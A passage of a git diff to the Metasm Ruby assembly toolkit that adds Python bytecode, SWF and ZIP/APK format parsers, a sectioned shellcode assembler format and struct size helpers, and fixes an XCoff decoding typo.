ExeFormat + # 1 magic per python version... + # file = MAGIC(u16) \r \n timestamp(u32) data + MAGICS = [ + 62211 # 62211 = python2.7a0 + ] + + class Header < SerialStruct + half :version + half :rn + word :timestamp + end + + def decode_half(edata=@encoded) edata.decode_imm(:u16, @endianness) end + def decode_word(edata=@encoded) edata.decode_imm(:u32, @endianness) end + def decode_long(edata=@encoded) edata.decode_imm(:i32, @endianness) end + def sizeof_half ; 2 ; end + def sizeof_word ; 4 ; end + def sizeof_long ; 4 ; end + + # file header + attr_accessor :header + # the marshalled object + attr_accessor :root + # list of all code objects + attr_accessor :all_code + + def initialize() + @endianness = :little + @encoded = EncodedData.new + super() + end + + def decode_header + @header = Header.decode(self) + end + + def decode_pymarshal + case c = @encoded.read(1) + when '0' # NULL + :null + when 'N' # None + nil + when 'F' # False + false + when 'T' # True + true + #when 'S' # stopiter TODO + #when '.' # ellipsis TODO + when 'i' # long (i32) + decode_long + when 'I' # long (i64) + decode_word | (decode_long << 32) + when 'f' # float (ascii) + @encoded.read(@encoded.read(1).unpack('C').first).to_f + when 'g' # float (binary) + @encoded.read(8).unpack('d').first # XXX check + when 'x' # complex (f f) + { :type => :complex, + :real => @encoded.read(@encoded.read(1).unpack('C').first).to_f, + :imag => @encoded.read(@encoded.read(1).unpack('C').first).to_f } + when 'y' # complex (g g) + { :type => :complex, + :real => @encoded.read(8).unpack('d').first, + :imag => @encoded.read(8).unpack('d').first } + when 'l' # long (i32?) + decode_long + when 's' # string: len (long), data + @encoded.read(decode_long) + when 't' # 'interned': string with possible backreference later + s = @encoded.read(decode_long) + @references << s + s + when 'R' # stringref (see 't') + @references[decode_long] + when '(' # tuple (frozen Array): length l*objs + obj = [] + decode_long.times { obj << decode_pymarshal } + obj + when '[' # list (Array) + obj = [] + decode_long.times { obj << decode_pymarshal } + obj + when '{' # dict (Hash) + obj = {} + loop do + k = decode_pymarshal + break if k == :null + obj[k] = decode_pymarshal + end + { :type => hash, :hash => obj } # XXX to avoid confusion with code, etc + when 'c' # code + # XXX format varies with version (header.signature) + obj = {} + obj[:type] = :code + obj[:argcount] = decode_long + #obj[:kwonly_argcount] = decode_long # not in py2.7 + obj[:nlocals] = decode_long + obj[:stacksize] = decode_long + obj[:flags] = decode_long # TODO bit-decode this one + + obj[:fileoff] = @encoded.ptr + 5 # XXX assume :code is a 's' + obj[:code] = decode_pymarshal + obj[:consts] = decode_pymarshal + obj[:names] = decode_pymarshal + obj[:varnames] = decode_pymarshal + obj[:freevars] = decode_pymarshal + obj[:cellvars] = decode_pymarshal + obj[:filename] = decode_pymarshal + obj[:name] = decode_pymarshal + obj[:firstlineno] = decode_long + obj[:lnotab] = decode_pymarshal + @all_code << obj + obj + when 'u' # unicode + @encoded.read(decode_long) + #when '?' # unknown TODO + #when '<' # set TODO + #when '>' # set (frozen) TODO + else + raise "unsupported python marshal #{c.inspect}" + end + end + + def decode + decode_header + @all_code = [] + @references = [] + @root = decode_pymarshal + @references = nil + end + + def cpu_from_headers + Python.new(self) + end + + def each_section + yield @encoded, 0 + end + + def get_default_entrypoints + if @root.kind_of? Hash and @root[:type] == :code + [@root[:fileoff]] + else + [] + end + end + + # return the :code part which contains off + def code_at_off(off) + @all_code.find { |c| c[:fileoff] <= off and c[:fileoff] + c[:code].length > off } + end +end +end diff --git a/lib/metasm/metasm/exe_format/serialstruct.rb b/lib/metasm/metasm/exe_format/serialstruct.rb index 9866878936..5154dc01e8 100644 --- a/lib/metasm/metasm/exe_format/serialstruct.rb +++ b/lib/metasm/metasm/exe_format/serialstruct.rb @@ -13,19 +13,20 @@ class SerialStruct NAME=0 DECODE=1 ENCODE=2 - DEFVAL=3 - ENUM=4 - BITS=5 + SIZEOF=3 + DEFVAL=4 + ENUM=5 + BITS=6 class << self # defines a new field # adds an accessor - def new_field(name, decode, encode, defval, enum=nil, bits=nil) + def new_field(name, decode, encode, sizeof, defval, enum=nil, bits=nil) if name attr_accessor name name = "@#{name}".to_sym end - (@@fields[self] ||= []) << [name, decode, encode, defval, enum, bits] + (@@fields[self] ||= []) << [name, decode, encode, sizeof, defval, enum, bits] end # creates a field constructor for a simple integer @@ -34,7 +35,7 @@ class << self recv = class << self ; self ; end types.each { |type| recv.send(:define_method, type) { |name, *args| - new_field(name, "decode_#{type}".to_sym, "encode_#{type}".to_sym, args[0] || 0, args[1]) + new_field(name, "decode_#{type}".to_sym, "encode_#{type}".to_sym, "sizeof_#{type}".to_sym, args[0] || 0, args[1]) } # shortcut to define multiple fields of this type with default values @@ -46,24 +47,33 @@ class << self # standard fields: + # virtual field, handled explicitly in a custom encode/decode + def virtual(*a) + a.each { |f| + new_field(f, nil, nil, nil, nil) + } + end + # a fixed-size memory chunk def mem(name, len, defval='') - new_field(name, lambda { |exe, me| exe.curencoded.read(len) }, lambda { |exe, me, val| val[0, len].ljust(len, 0.chr) }, defval) + new_field(name, lambda { |exe, me| exe.curencoded.read(len) }, lambda { |exe, me, val| val[0, len].ljust(len, 0.chr) }, lambda { |exe, me| len }, defval) end # a fixed-size string, 0-padded def str(name, len, defval='') - e = lambda { |exe, me, val| val[0, len].ljust(len, 0.chr) } d = lambda { |exe, me| v = exe.curencoded.read(len) ; v = v[0, v.index(?\0)] if v.index(?\0) ; v } - new_field(name, d, e, defval) + e = lambda { |exe, me, val| val[0, len].ljust(len, 0.chr) } + s = lambda { |exe, me| len } + new_field(name, d, e, s, defval) end # 0-terminated string def strz(name, defval='') d = lambda { |exe, me| - ed = exe.curencoded + ed = exe.curencoded ed.read(ed.data.index(?\0, ed.ptr)-ed.ptr+1).chop } e = lambda { |exe, me, val| val + 0.chr } - new_field(name, d, e, defval) + s = lambda { |exe, val| val.length + 1 } + new_field(name, d, e, s, defval) end # field access @@ -93,7 +103,7 @@ class << self d = lambda { |exe, me| @bitfield_val = exe.send("decode_#{inttype}") } # reset a temp var e = lambda { |exe, me, val| @bitfield_val = 0 ; nil } - new_field(nil, d, e, nil) + new_field(nil, d, e, 0, nil) h = h.sort h.length.times { |i| @@ -107,7 +117,7 @@ class << self d = lambda { |exe, me| (@bitfield_val >> off) & mask } # update the temp var with the field value, return nil e = lambda { |exe, me, val| @bitfield_val |= (val & mask) << off ; nil } - new_field(name, d, e, 0) + new_field(name, d, e, 0, 0) } # free the temp var @@ -118,11 +128,13 @@ class << self @bitfield_val = nil exe.send("encode_#{inttype}", val) } - new_field(nil, d, e, nil) + s = lambda { |exe, me| exe.send("sizeof_#{inttype}") } + new_field(nil, d, e, s, nil) end # inject a hook to be run during the decoding process def decode_hook(before=nil, &b) + @@fields[self] ||= [] idx = (before ? @@fields[self].index(fld_get(before)) : -1) @@fields[self].insert(idx, [nil, b]) end @@ -209,6 +221,39 @@ end # class methods ed end + # size of the structure = fields.sum { size of field } + def sizeof(exe) + struct_fields(exe).inject(0) { |off, f| + case sz = f[SIZEOF] + when Proc; sz = sz[exe, self] + when Symbol; sz = exe.send(sz) + when Array; sz = exe.send(*sz) + when nil; sz = 0 + end + off + sz + } + end + + # offset (in bytes) of the structure member + # for bitfields, return the byte offset of the whole bitfield + def offsetof(exe, fld) + fld2 = fld + fld2 = "@#{fld}".to_sym if fld.to_s[0] != ?@ + off = 0 + struct_fields(exe).each { |f| + return off if f[NAME] == fld or f[NAME] == fld2 + + case sz = f[SIZEOF] + when Proc; sz = sz[exe, self] + when Symbol; sz = exe.send(sz) + when Array; sz = exe.send(*sz) + when nil; sz = 0 + end + off += sz + } + raise 'unknown field' + end + # shortcut to create a new instance and decode it def self.decode(*a) s = new @@ -216,6 +261,14 @@ end # class methods s end + def self.sizeof(exe) + new.sizeof(exe) + end + + def self.offsetof(exe, fld) + new.offsetof(exe, fld) + end + def dump(e, a) case e when Integer; e >= 0x100 ? '0x%X'%e : e diff --git a/lib/metasm/metasm/exe_format/shellcode.rb b/lib/metasm/metasm/exe_format/shellcode.rb index 1bfed69f72..df2dfa01a7 100644 --- a/lib/metasm/metasm/exe_format/shellcode.rb +++ b/lib/metasm/metasm/exe_format/shellcode.rb @@ -69,11 +69,11 @@ class Shellcode < ExeFormat parse(*a) if not a.empty? @encoded << assemble_sequence(@source, @cpu) @source.clear - encode + self end def encode(binding={}) - @encoded.fixup! binding + @encoded.fixup! binding if binding.kind_of? Hash @encoded.fixup @encoded.binding(@base_addr) @encoded.fill @encoded.rawsize self @@ -107,7 +107,11 @@ class Shellcode < ExeFormat # returns a virtual subclass of Shellcode whose cpu_from_headers will return cpu def self.withcpu(cpu) c = Class.new(self) - c.send(:define_method, :cpu_from_headers) { cpu } + c.send(:define_method, :cpu_from_headers) { + cpu = Metasm.const_get(cpu) if cpu.kind_of?(::String) + cpu = cpu.new if cpu.kind_of?(::Class) and cpu.ancestors.include?(CPU) + cpu + } c end end diff --git a/lib/metasm/metasm/exe_format/shellcode_rwx.rb b/lib/metasm/metasm/exe_format/shellcode_rwx.rb new file mode 100644 index 0000000000..9ef0980edf --- /dev/null +++ b/lib/metasm/metasm/exe_format/shellcode_rwx.rb @@ -0,0 +1,114 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/exe_format/main' + +module Metasm +# Similar to Shellcode, with distinct sections per memory permission (R / RW / RX) +# encoding-side only +class Shellcode_RWX < ExeFormat + # the array of source elements (Instr/Data etc) + attr_accessor :source_r, :source_w, :source_x + # base address per section + attr_accessor :base_r, :base_w, :base_x + # encodeddata + attr_accessor :encoded_r, :encoded_w, :encoded_x + + def initialize(cpu=nil) + @base_r = @base_w = @base_x = nil + @encoded_r = EncodedData.new + @encoded_w = EncodedData.new + @encoded_x = EncodedData.new + + super(cpu) + end + + def parse_init + @source_r = [] + @source_w = [] + @source_x = [] + @cursource = @source_x + super() + end + + # allows definition of the base address + def parse_parser_instruction(instr) + case instr.raw.downcase + when '.base', '.baseaddr', '.base_addr' + # ".base_addr " + # expression should #reduce to integer + @lexer.skip_space + raise instr, 'syntax error' if not base = Expression.parse(@lexer).reduce + raise instr, 'syntax error' if tok = @lexer.nexttok and tok.type != :eol + if @cursource.equal?(@source_r) + @base_r = base + elsif @cursource.equal?(@source_w) + @base_w = base + elsif @cursource.equal?(@source_x) + @base_x = base + else raise instr, "Where am I ?" + end + when '.rdata', '.rodata' + @cursource = @source_r + when '.data', '.bss' + @cursource = @source_w + when '.text' + @cursource = @source_x + else super(instr) + end + end + + # encodes the source found in self.source + # appends it to self.encoded + # clears self.source + # the optional parameter may contain a binding used to fixup! self.encoded + # uses self.base_addr if it exists + def assemble(*a) + parse(*a) if not a.empty? + @encoded_r << assemble_sequence(@source_r, @cpu); @source_r.clear + @encoded_w << assemble_sequence(@source_w, @cpu); @source_w.clear + @encoded_x << assemble_sequence(@source_x, @cpu); @source_x.clear + self + end + + def encode(binding={}) + bd = {} + bd.update @encoded_r.binding(@base_r) + bd.update @encoded_w.binding(@base_w) + bd.update @encoded_x.binding(@base_x) + bd.update binding if binding.kind_of?(Hash) + @encoded_r.fixup bd + @encoded_w.fixup bd + @encoded_x.fixup bd + self + end + alias fixup encode + + # resolve inter-section xrefs, raise if unresolved relocations remain + # call this when you have assembled+allocated memory for every section + def fixup_check(base_r=nil, base_w=nil, base_x=nil, bd={}) + if base_r.kind_of?(Hash) + bd = base_r + base_r = nil + end + @base_r = base_r if base_r + @base_w = base_w if base_w + @base_x = base_x if base_x + fixup bd + ed = EncodedData.new << @encoded_r << @encoded_w << @encoded_x + raise ["Unresolved relocations:", ed.reloc.map { |o, r| "#{r.target} " + (Backtrace.backtrace_str(r.backtrace) if r.backtrace).to_s }].join("\n") if not ed.reloc.empty? + self + end + + def encode_string(*a) + encode(*a) + ed = EncodedData.new << @encoded_r << @encoded_w << @encoded_x + ed.fixup(ed.binding) + raise ["Unresolved relocations:", ed.reloc.map { |o, r| "#{r.target} " + (Backtrace.backtrace_str(r.backtrace) if r.backtrace).to_s }].join("\n") if not ed.reloc.empty? + ed.data + end +end +end diff --git a/lib/metasm/metasm/exe_format/swf.rb b/lib/metasm/metasm/exe_format/swf.rb new file mode 100644 index 0000000000..3d7254d6bd --- /dev/null +++ b/lib/metasm/metasm/exe_format/swf.rb @@ -0,0 +1,205 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/exe_format/main' +require 'metasm/encode' +require 'metasm/decode' +begin + require 'zlib' +rescue LoadError +end + +module Metasm +class SWF < ExeFormat + attr_accessor :signature, :version, :header, :chunks + + CHUNK_TYPE = { + 0 => 'End', 1 => 'ShowFrame', 2 => 'DefineShape', 3 => 'FreeCharacter', + 4 => 'PlaceObject', 5 => 'RemoveObject', 6 => 'DefineBits', 7 => 'DefineButton', + 8 => 'JPEGTables', 9 => 'SetBackgroundColor', 10 => 'DefineFont', 11 => 'DefineText', + 12 => 'DoAction', 13 => 'DefineFontInfo', 14 => 'DefineSound', 15 => 'StartSound', + 16 => 'StopSound', 17 => 'DefineButtonSound', 18 => 'SoundStreamHead', 19 => 'SoundStreamBlock', + 20 => 'DefineBitsLossless', 21 => 'DefineBitsJPEG2', 22 => 'DefineShape2', 23 => 'DefineButtonCxform', + 24 => 'Protect', 25 => 'PathsArePostScript', 26 => 'PlaceObject2', + 28 => 'RemoveObject2', 29 => 'SyncFrame', 31 => 'FreeAll', + 32 => 'DefineShape3', 33 => 'DefineText2', 34 => 'DefineButton2', 35 => 'DefineBitsJPEG3', + 36 => 'DefineBitsLossless2', 37 => 'DefineEditText', 38 => 'DefineVideo', 39 => 'DefineSprite', + 40 => 'NameCharacter', 41 => 'ProductInfo', 42 => 'DefineTextFormat', 43 => 'FrameLabel', + 44 => 'DefineBehavior', 45 => 'SoundStreamHead2', 46 => 'DefineMorphShape', 47 => 'FrameTag', + 48 => 'DefineFont2', 49 => 'GenCommand', 50 => 'DefineCommandObj', 51 => 'CharacterSet', + 52 => 'FontRef', 53 => 'DefineFunction', 54 => 'PlaceFunction', 55 => 'GenTagObject', + 56 => 'ExportAssets', 57 => 'ImportAssets', 58 => 'EnableDebugger', 59 => 'DoInitAction', + 60 => 'DefineVideoStream', 61 => 'VideoFrame', 62 => 'DefineFontInfo2', 63 => 'DebugID', + 64 => 'EnableDebugger2', 65 => 'ScriptLimits', 66 => 'SetTabIndex', 67 => 'DefineShape4', + 68 => 'DefineMorphShape2', 69 => 'FileAttributes', 70 => 'PlaceObject3', 71 => 'ImportAssets2', + 72 => 'DoABC', 76 => 'SymbolClass', 82 => 'DoABC2', + } + + class SerialStruct < Metasm::SerialStruct + new_int_field :u8, :u16, :u32, :f16, :f32 + end + + class Rectangle < SerialStruct + virtual :nbits, :xmin, :xmax, :ymin, :ymax + + def decode(swf) + byte = swf.decode_u8 + bleft = 3 + @nbits = byte >> bleft + @xmin, @xmax, @ymin, @ymax = (0..3).map { + nb = @nbits + v = 0 + while nb > bleft + nb -= bleft + v |= (byte & ((1<> (bleft-nb)) & ((1<= 0 + # reserve sign bit + (v >> (nb-1)) == 0 + else + (v >> nb) == -1 + end + } } || 31 + end + + def encode(swf) + ed = super(swf) + + byte = @nbits << 3 + bleft = 3 + [@xmin, @xmax, @ymin, @ymax].each { |v| + nb = @nbits + while nb > bleft + byte |= (v >> (nb-bleft)) & ((1<> 8) & 0xff) | ((@framerate & 0xff) << 8) if swf.endianness == :little + end + + def decode(swf) + @view = Rectangle.decode(swf) + super(swf) + bswap_framerate(swf) + end + + def encode(swf) + ed = @view.encode(swf) + bswap_framerate(swf) + ed << super(swf) + bswap_framerate(swf) + ed + end + end + + class Chunk < SerialStruct + bitfield :u16, 0 => :length_, 6 => :tag + fld_enum :tag, CHUNK_TYPE + attr_accessor :data + + def decode(swf) + super(swf) + @length = (@length_ == 0x3f ? swf.decode_u32 : @length_) + @data = swf.encoded.read(@length) + end + + def set_default_values(swf) + @length = @data.length + @length_ = [@length, 0x3f].min + end + + def encode(swf) + super(swf) << + (swf.encode_u32(@length) if @length >= 0x3f) << + @data + end + end + + def decode_u8( edata=@encoded) edata.decode_imm(:u8, @endianness) end + def decode_u16(edata=@encoded) edata.decode_imm(:u16, @endianness) end + def decode_u32(edata=@encoded) edata.decode_imm(:u32, @endianness) end + def decode_f16(edata=@encoded) edata.decode_imm(:i16, @endianness)/256.0 end + def decode_f32(edata=@encoded) edata.decode_imm(:i32, @endianness)/65536.0 end + def encode_u8(w) Expression[w].encode(:u8, @endianness) end + def encode_u16(w) Expression[w].encode(:u16, @endianness) end + def encode_u32(w) Expression[w].encode(:u32, @endianness) end + def encode_f16(w) Expression[(w*256).to_i].encode(:u16, @endianness) end + def encode_f32(w) Expression[(w*65536).to_i].encode(:u32, @endianness) end + def sizeof_u8 ; 1 ; end + def sizeof_u16 ; 2 ; end + def sizeof_u32 ; 4 ; end + def sizeof_f16 ; 2 ; end + def sizeof_f32 ; 4 ; end + + attr_accessor :endianness + def initialize(cpu = nil) + @endianness = :little + @header = Header.new + @chunks = [] + super(cpu) + end + + def decode_header + @signature = @encoded.read(3) + @version = decode_u8 + @data_length = decode_u32 + case @signature + when 'FWS' + when 'CWS' + # data_length = uncompressed data length + data = @encoded.read(@encoded.length-8) + data = Zlib::Inflate.inflate(data) + @encoded = EncodedData.new(data) + else raise InvalidExeFormat, "Bad signature #{@signature.inspect}" + end + @data_length = [@data_length, @encoded.length].min + @header = Header.decode(self) + end + + def decode + decode_header + while @encoded.ptr < @data_length + @chunks << Chunk.decode(self) + end + end +end +end diff --git a/lib/metasm/metasm/exe_format/xcoff.rb b/lib/metasm/metasm/exe_format/xcoff.rb index 1836d34f2d..2e3a21e7da 100644 --- a/lib/metasm/metasm/exe_format/xcoff.rb +++ b/lib/metasm/metasm/exe_format/xcoff.rb @@ -51,7 +51,7 @@ class XCoff < ExeFormat @nsec ||= xcoff.sections.size @symptr ||= xcoff.symbols ? xcoff.new_label('symptr') : 0 @nsym ||= xcoff.symbols ? xcoff.symbols.length : 0 - @opthdr ||= xcoff.optheader ? OptHeader.size(xcoff) : 0 + @opthdr ||= xcoff.optheader ? xcoff.optheader.sizeof(xcoff) : 0 super(xcoff) end end @@ -61,13 +61,9 @@ class XCoff < ExeFormat xwords :tsize, :dsize, :bsize, :entry, :text_start, :data_start, :toc halfs :snentry, :sntext, :sndata, :sntoc, :snloader, :snbss, :aligntext, :aligndata, :modtype, :cpu xwords :maxstack, :maxdata - new_field(:res, lambda { |exe, me| exe.encoded.read(exe.intsize == 32 ? 8 : 120) }, lambda { |exe, me, val| val }, '') + new_field(:res, lambda { |exe, me| exe.encoded.read(exe.intsize == 32 ? 8 : 120) }, lambda { |exe, me, val| val }, lambda { |exe, me| exe.intsize == 32 ? 8 : 120 }, '') - def self.size(xcoff) - xcoff.intsize == 32 ? 2*2+7*4+10*2+2*4+2+8 : 2*2+7*8+10*2+2*8+2+120 - end - def set_default_values(xcoff) @vstamp ||= 1 @snentry ||= 1 @@ -99,12 +95,16 @@ class XCoff < ExeFormat # basic immediates decoding functions def decode_half( edata = @encoded) edata.decode_imm(:u16, @endianness) end def decode_word( edata = @encoded) edata.decode_imm(:u32, @endianness) end - def decode_xhalf(edata = @encoded) edata.edoced_imm((@intsize == 32 ? :u16 : :u32), @endianness) end + def decode_xhalf(edata = @encoded) edata.decode_imm((@intsize == 32 ? :u16 : :u32), @endianness) end def decode_xword(edata = @encoded) edata.decode_imm((@intsize == 32 ? :u32 : :u64), @endianness) end def encode_half(w) Expression[w].encode(:u16, @endianness) end def encode_word(w) Expression[w].encode(:u32, @endianness) end def encode_xhalf(w) Expression[w].encode((@intsize == 32 ? :u16 : :u32), @endianness) end def encode_xword(w) Expression[w].encode((@intsize == 32 ? :u32 : :u64), @endianness) end + def sizeof_half ; 2 ; end + def sizeof_word ; 4 ; end + def sizeof_xhalf ; @intsize == 32 ? 2 : 4 ; end + def sizeof_xword ; @intsize == 32 ? 4 : 8 ; end attr_accessor :header, :segments, :relocs, :intsize, :endianness diff --git a/lib/metasm/metasm/exe_format/zip.rb b/lib/metasm/metasm/exe_format/zip.rb new file mode 100644 index 0000000000..e5ba04b4d4 --- /dev/null +++ b/lib/metasm/metasm/exe_format/zip.rb @@ -0,0 +1,335 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/exe_format/main' +require 'metasm/encode' +require 'metasm/decode' +begin + require 'zlib' +rescue LoadError +end + +# generic ZIP file, may be an APK or JAR +# supports only a trivial subset of the whole ZIP specification +# single file archive +# deflate or no compression +# no encryption +# 32bit offsets/sizes + +module Metasm +class ZIP < ExeFormat + MAGIC_LOCALHEADER = 0x04034b50 + COMPRESSION_METHOD = { 0 => 'NONE', 1 => 'SHRUNK', 2 => 'REDUCE1', 3 => 'REDUCE2', + 4 => 'REDUCE3', 5 => 'REDUCE4', 6 => 'IMPLODE', 7 => 'TOKENIZED', + 8 => 'DEFLATE', 9 => 'DEFLATE64', 10 => 'OLDTERSE', 12 => 'BZIP2', 14 => 'LZMA', + 18 => 'TERSE', 19 => 'LZ77', 97 => 'WAVPACK', 98 => 'PPMD' } + + # zip file format: + # + # [local header 1] + # compressed data 1 + # + # [local header 2] + # compressed data 2 + # + # [central header 1] + # [central header 2] + # + # [end of central directory] + + class LocalHeader < SerialStruct + word :signature, MAGIC_LOCALHEADER + half :verneed, 10 + half :flags # bit 3 => has data descriptor following the compressed data + half :compress_method, 0, COMPRESSION_METHOD + halfs :mtime, :mdate + word :crc32 + words :compressed_sz, :uncompressed_sz + halfs :fname_len, :extra_len + attr_accessor :fname, :extra + attr_accessor :compressed_off + + def decode(zip) + super(zip) + raise "Invalid ZIP signature #{@signature.to_s(16)}" if @signature != MAGIC_LOCALHEADER + @fname = zip.encoded.read(@fname_len) if @fname_len > 0 + @extra = zip.encoded.read(@extra_len) if @extra_len > 0 + @compressed_off = zip.encoded.ptr + end + + def set_default_values(zip) + @fname_len = fname ? @fname.length : 0 + @extra_len = extra ? @extra.length : 0 + super(zip) + end + + def encode(zip) + ed = super(zip) + ed << fname << extra + end + + # return a new LocalHeader with all fields copied from a CentralHeader + def self.from_central(f) + l = new + l.verneed = f.verneed + l.flags = f.flags + l.compress_method = f.compress_method + l.mtime = f.mtime + l.mdate = f.mdate + l.crc32 = f.crc32 + l.compressed_sz = f.compressed_sz + l.uncompressed_sz = f.uncompressed_sz + l.fname = f.fname + l.extra = f.extra + l + end + end + + MAGIC_CENTRALHEADER = 0x02014b50 + class CentralHeader < SerialStruct + word :signature, MAGIC_CENTRALHEADER + half :vermade, 10 + half :verneed, 10 + half :flags + half :compress_method, 0, COMPRESSION_METHOD + halfs :mtime, :mdate + word :crc32 + words :compressed_sz, :uncompressed_sz + halfs :fname_len, :extra_len, :comment_len + half :disk_nr + half :file_attr_intern + word :file_attr_extern + word :localhdr_off + attr_accessor :fname, :extra, :comment + attr_accessor :data + + def decode(zip) + super(zip) + raise "Invalid ZIP signature #{@signature.to_s(16)}" if @signature != MAGIC_CENTRALHEADER + @fname = zip.encoded.read(@fname_len) if @fname_len > 0 + @extra = zip.encoded.read(@extra_len) if @extra_len > 0 + @comment = zip.encoded.read(@comment_len) if @comment_len > 0 + end + + def set_default_values(zip) + @fname_len = fname ? @fname.length : 0 + @extra_len = extra ? @extra.length : 0 + @comment_len = comment ? @comment.length : 0 + super(zip) + end + + def encode(zip) + ed = super(zip) + ed << fname << extra << comment + end + + # reads the raw file data from the archive + def file_data(zip) + return @data if data + + zip.encoded.ptr = @localhdr_off + LocalHeader.decode(zip) + raw = zip.encoded.read(@compressed_sz) + @data = case @compress_method + when 'NONE' + raw + when 'DEFLATE' + z = Zlib::Inflate.new(-Zlib::MAX_WBITS) + z.inflate(raw) + else + raise "Unsupported zip compress method #@compress_method" + end + end + + def zlib_deflate(data, level=Zlib::DEFAULT_COMPRESSION) + z = Zlib::Deflate.new(level, -Zlib::MAX_WBITS) + z.deflate(data) + z.finish + end + + # encode the data, fixup related fields + def encode_data(zip) + data = file_data(zip) + @compress_method = 'NONE' if data == '' + + @crc32 = Zlib.crc32(data) + @uncompressed_sz = data.length + + case compress_method + when 'NONE' + when 'DEFLATE' + data = zlib_deflate(data) + when nil + # autodetect compression method + # compress if we win more than 10% space + cdata = zlib_deflate(data) + ratio = cdata.length * 100 / data.length + if ratio < 90 + @compress_method = 'DEFLATE' + data = cdata + else + @compress_method = 'NONE' + end + end + + @compressed_sz = data.length + + data + end + end + + MAGIC_ENDCENTRALDIRECTORY = 0x06054b50 + class EndCentralDirectory < SerialStruct + word :signature, MAGIC_ENDCENTRALDIRECTORY + halfs :disk_nr, :disk_centraldir, :entries_nr_thisdisk, :entries_nr + word :directory_sz + word :directory_off + half :comment_len + attr_accessor :comment + + def decode(zip) + super(zip) + raise "Invalid ZIP end signature #{@signature.to_s(16)}" if @signature != MAGIC_ENDCENTRALDIRECTORY + @comment = zip.encoded.read(@comment_len) if @comment_len > 0 + end + + def set_default_values(zip) + @entries_nr_thisdisk = zip.files.length + @entries_nr = zip.files.length + @comment_len = comment ? @comment.length : 0 + super(zip) + end + + def encode(zip) + ed = super(zip) + ed << comment + end + end + + def decode_half(edata=@encoded) edata.decode_imm(:u16, @endianness) end + def decode_word(edata=@encoded) edata.decode_imm(:u32, @endianness) end + def encode_half(w) Expression[w].encode(:u16, @endianness) end + def encode_word(w) Expression[w].encode(:u32, @endianness) end + def sizeof_half ; 2 ; end + def sizeof_word ; 4 ; end + + attr_accessor :files, :header + + def initialize(cpu = nil) + @endianness = :little + @header = EndCentralDirectory.new + @files = [] + super(cpu) + end + + # scan and decode the 'end of central directory' header + def decode_header + if not @encoded.ptr = @encoded.data.rindex([MAGIC_ENDCENTRALDIRECTORY].pack('V')) + raise "ZIP: no end of central directory record" + end + @header = EndCentralDirectory.decode(self) + end + + # read the whole central directory file descriptors + def decode + decode_header + @encoded.ptr = @header.directory_off + while @encoded.ptr < @header.directory_off + @header.directory_sz + @files << CentralHeader.decode(self) + end + end + + # checks if a given file name exists in the archive + # returns the CentralHeader or nil + # case-insensitive if lcase is false + def has_file(fname, lcase=true) + decode if @files.empty? + if lcase + @files.find { |f| f.fname == fname } + else + fname = fname.downcase + @files.find { |f| f.fname.downcase == fname } + end + end + + # returns the uncompressed raw file content from a given name + # nil if name not found + # case-insensitive if lcase is false + def file_data(fname, lcase=true) + if f = has_file(fname, lcase) + f.file_data(self) + end + end + + # add a new file to the zip archive + def add_file(fname, data, compress=:auto) + f = CentralHeader.new + + case compress + when 'NONE', false; f.compress_method = 'NONE' + when 'DEFLATE', true; f.compress_method = 'DEFLATE' + end + + f.fname = fname + f.data = data + + @files << f + f + end + + # create a new zip file + def encode + edata = EncodedData.new + central_dir = EncodedData.new + + @files.each { |f| + encode_entry(f, edata, central_dir) + } + + @header.directory_off = edata.length + @header.directory_sz = central_dir.length + + edata << central_dir << @header.encode(self) + + @encoded = edata + end + + # add one file to the zip stream + def encode_entry(f, edata, central_dir) + f.localhdr_off = edata.length + + # may autodetect compression method + raw = f.encode_data(self) + + zipalign(f, edata) + + central_dir << f.encode(self) # calls f.set_default_values + + l = LocalHeader.from_central(f) + edata << l.encode(self) + + edata << raw + end + + # zipalign: ensure uncompressed data starts on a 4-aligned offset + def zipalign(f, edata) + if f.compress_method == 'NONE' and not f.extra + o = (edata.length + f.fname.length + 2) & 3 + f.extra = " "*(4-o) if o > 0 + end + + end + + # when called as AutoExe, try to find a meaningful exefmt + def self.autoexe_load(bin) + z = decode(bin) + if dex = z.file_data('classes.dex') + puts "ZIP: APK file, loading 'classes.dex'" if $VERBOSE + AutoExe.load(dex) + else + z + end + end +end +end diff --git a/lib/metasm/metasm/gui.rb b/lib/metasm/metasm/gui.rb index 4aa150e0fd..36630d4459 100644 --- a/lib/metasm/metasm/gui.rb +++ b/lib/metasm/metasm/gui.rb @@ -1,23 +1,13 @@ -backend = case ENV['METASM_GUI'] -when 'gtk'; 'gtk' -when 'qt'; 'qt' -when 'win32'; 'win32' -else - puts "Unsupported METASM_GUI #{ENV['METASM_GUI'].inspect}" if $VERBOSE and ENV['METASM_GUI'] +backend = ENV['METASM_GUI'] || ( if RUBY_PLATFORM =~ /(i.86|x(86_)?64)-(mswin|mingw|cygwin)/i 'win32' else - begin - require 'gtk2' - 'gtk' - rescue LoadError - #begin - # require 'Qt4' - # 'qt' - #rescue LoadError + begin + require 'gtk2' + 'gtk' + rescue LoadError raise LoadError, 'No GUI ruby binding installed - please install libgtk2-ruby' - #end + end end - end -end +) require "metasm/gui/#{backend}" diff --git a/lib/metasm/metasm/gui/cstruct.rb b/lib/metasm/metasm/gui/cstruct.rb index 55c3c5c477..2fe8fa8c48 100644 --- a/lib/metasm/metasm/gui/cstruct.rb +++ b/lib/metasm/metasm/gui/cstruct.rb @@ -23,8 +23,7 @@ class CStructWidget < DrawableWidget @cwidth = @cheight = 1 # widget size in chars @structdepth = 2 - @default_color_association = { :text => :black, :keyword => :blue, :caret => :black, - :background => :white, :hl_word => :palered, :comment => :darkblue } + @default_color_association = ColorTheme.merge :keyword => :blue end def click(x, y) @@ -90,19 +89,7 @@ class CStructWidget < DrawableWidget elsif cx < @view_x else t = t[(@view_x - cx + t.length)..-1] if cx-t.length < @view_x - if @hl_word - stmp = t - pre_x = 0 - while stmp =~ /^(.*?)(\b#{Regexp.escape @hl_word}\b)/ - s1, s2 = $1, $2 - pre_x += s1.length*@font_width - hl_w = s2.length*@font_width - draw_rectangle_color(:hl_word, x+pre_x, y, hl_w, @font_height) - pre_x += hl_w - stmp = stmp[s1.length+s2.length..-1] - end - end - draw_string_color(c, 